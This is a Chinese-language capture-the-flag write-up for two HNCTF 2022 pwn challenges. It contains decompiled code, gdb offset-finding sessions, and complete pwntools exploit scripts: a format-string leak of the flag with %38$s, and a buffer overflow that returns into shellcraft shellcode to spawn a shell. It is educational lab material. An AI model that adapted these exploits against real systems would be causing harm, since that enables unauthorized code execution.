[HNCTF 2022 Week1]fmtstrre

[HNCTF 2022 Week1]fmtstrre


格式化字符串漏洞:
常见格式符及其作用:

格式符 作用
%x 打印栈上的4字节数据(十六进制)
%s 打印栈上指针指向的字符串
%n 写已打印字符数到对应指针指向的地址
%p 打印指针值(地址)
%d 打印十进制整数
%c 输出一个字符

准备


64位开了NX

分析

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[256]; // [rsp+0h] [rbp-110h] BYREF
void *v5; // [rsp+100h] [rbp-10h]
int fd; // [rsp+10Ch] [rbp-4h]

setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
setbuf(stdout, 0LL);
puts("Welcome to the world of fmtstr");
puts("> ");
fd = open("flag", 0);
if ( fd == -1 )
perror("Open failed.");
read(fd, &name, 0x30uLL);
v5 = &name;
puts("Input your format string.");
read(0, buf, 0x100uLL);
puts("Ok.");
printf(buf);
return 0;
}

开头先禁用了标准流缓冲
下面会打开 flag 文件,如果不存在就会提示失败
并用 read 函数读取内容到 name 变量所在的内存区域
下面有一个输入,存在格式化字符串漏洞

思路:

这里有格式化字符串漏洞,并且 flag 内容会写在 name 变量所在的内存区域
我们可以获得 flag 写入 name 处地址的参数位置,然后通过 %n$s 来输出 flag
因为他会先检查 flag 文件是否存在,所以我要在本地调试前先要创建一个 flag 文件,内容随便给一个

1
2
3
touch flag
nano flag //ctrl+o保存,ctrl+x退出
cat flag



接着用 gdb 调试
(注意这里的 flag 文件路径一定要在 gdb 调试的路径下, gdb 调试用 pwd 查看调试路径)
main 函数下断点,然后 r 运行

一直用 ni 向下运行

直到这里,看到这里把 flag 内容写入 name 处,并且有写到的地址,直接用 fmt 获得参数位置为38

脚本:

直接连接

输入 %38$s

exp脚本

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context.log_level = "debug"
io=remote('node5.anna.nssctf.cn',22594)
# io= process('/home/motaly/fmt')

io.recvuntil(b'Input your format string.\n')
io.sendline(b'%38$s')

io.recvuntil(b'Ok.\n')
flag=io.recv()
log.success(b'flag: '+flag)
io.interactive()

[HNCTF 2022 Week1]ret2shellcode

[HNCTF 2022 Week1]ret2shellcode

准备


64位开了NX

分析

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
int __fastcall main(int argc, const char **argv, const char **envp)
{
char s[256]; // [rsp+0h] [rbp-100h] BYREF

setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
setbuf(stdout, 0LL);
mprotect((void *)((unsigned __int64)&stdout & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7);
memset(s, 0, sizeof(s));
read(0, s, 0x110uLL);
strcpy(buff, s);
return 0;
}

先使用 mprotect 将包含stdout的整个内存页(通常为 4KB)设置为可读、可写、可执行
使用 read 函数,读取输入最大272(0x110)个字节到 s ,但 s 大小为256(0x100),所以存在缓冲区溢出
最后用 strcpy 函数将 s(包括终止符'\0')复制到 buff
用gdb获取偏移量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
motaly@motaly-VMware-Virtual-Platform:~$ gdb shellcode
GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git
Copyright (C) 2024 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 177 pwndbg commands and 46 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $base, $hex2ptr, $argv, $envp, $argc, $environ, $bn_sym, $bn_var, $bn_eval, $ida GDB functions (can be used with print/break)
Reading symbols from shellcode...

This GDB supports auto-downloading debuginfo from the following URLs:
<https://debuginfod.ubuntu.com>
Debuginfod has been disabled.
To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit.
(No debugging symbols found in shellcode)
------- tip of the day (disable with set show-tips off) -------
Use the errno (or errno <number>) command to see the name of the last or provided (libc) error
pwndbg> cyclic 500
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaa
pwndbg> r
Starting program: /home/motaly/shellcode
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaa

Program received signal SIGSEGV, Segmentation fault.
0x0000000000401278 in main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────────────────────
RAX 0
RBX 0x7fffffffd808 —▸ 0x7fffffffdbe5 ◂— '/home/motaly/shellcode'
RCX 0
RDX 0x16
RDI 0x404140 (buff+160) ◂— jne 0x4041a3 /* 0x6161616161616175 */
RSI 0x7fffffffd680 ◂— 0x6161616161616175 ('uaaaaaaa')
R8 0x4012f0 (__libc_csu_fini) ◂— endbr64
R9 0x7ffff7fca380 (_dl_fini) ◂— endbr64
R10 0x7ffff7c09e38 ◂— 0x11001a00004687
R11 0x7ffff7d9b600 (__strcpy_evex) ◂— endbr64
R12 1
R13 0
R14 0
R15 0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0
RBP 0x6261616161616168 ('haaaaaab')
RSP 0x7fffffffd6e8 ◂— 0x6261616161616169 ('iaaaaaab')
RIP 0x401278 (main+194) ◂— ret
─────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────────────────────────────────────
► 0x401278 <main+194> ret <0x6261616161616169>










───────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffd6e8 ◂— 0x6261616161616169 ('iaaaaaab')
01:0008│ 0x7fffffffd6f0 —▸ 0x7fffffffd730 ◂— 0
02:0010│ 0x7fffffffd6f8 —▸ 0x7fffffffd808 —▸ 0x7fffffffdbe5 ◂— '/home/motaly/shellcode'
03:0018│ 0x7fffffffd700 ◂— 0x100400040 /* '@' */
04:0020│ 0x7fffffffd708 —▸ 0x4011b6 (main) ◂— endbr64
05:0028│ 0x7fffffffd710 —▸ 0x7fffffffd808 —▸ 0x7fffffffdbe5 ◂— '/home/motaly/shellcode'
06:0030│ 0x7fffffffd718 ◂— 0x31d046c24af6e711
07:0038│ 0x7fffffffd720 ◂— 1
─────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────
► 0 0x401278 main+194
1 0x6261616161616169 None
2 0x7fffffffd730 None
3 0x7fffffffd808 None
4 0x100400040 None
5 0x4011b6 main
6 0x7fffffffd808 None
7 0x31d046c24af6e711 None
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> jaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaa
Undefined command: "jaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaa". Try "help".
pwndbg> cyclic -l 0x6261616161616169
Finding cyclic pattern of 8 bytes: b'iaaaaaab' (hex: 0x6961616161616162)
Found at offset 264

得到偏移量为264,总的最大输入是272,所以能控制的大小只有8字节,一个返回地址的大小

思路:

查看 buffstdout 参数


发现 buff 参数的地址是0x4040A0, stdout 参数的地址是0x404060
&stdout & 0xFFFFFFFFFFFFF000LL=0x404060 & 0xFFFFFFFFFFFFF000 = 0x404000(低 12 位 “0060” 被屏蔽)
内存页地址范围是:0x404000 ~ 0x404FFF(共 4096 字节)。
buff 参数在包含stdout的内存页地址范围内,所以是可读、可写、可执行的
所以我们的思路就可以是打ret2shellcode
运用最后 strcpy 函数会将 s 的内容复制到 buff 处,直接生成 shellcode 通过输入,写入 shellcode,其余的进行填充补全到最后返回地址处,返回地址给到 buff 触发前面写入的shellcode

1
2
3
4
5
shellcode=asm(shellcraft.sh())
buff=0x4040A0

payload=(shellcode.ljust(264,b'a'))+p64(buff)
io.sendline(payload)

脚本

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context(arch='amd64',log_level='debug')
# io=remote('node5.anna.nssctf.cn',28885)
io= process('/home/motaly/shellcode')
elf=ELF('/home/motaly/shellcode')

shellcode=asm(shellcraft.sh())
buff=0x4040A0

payload=(shellcode.ljust(264,b'a'))+p64(buff)
io.sendline(payload)
io.interactive()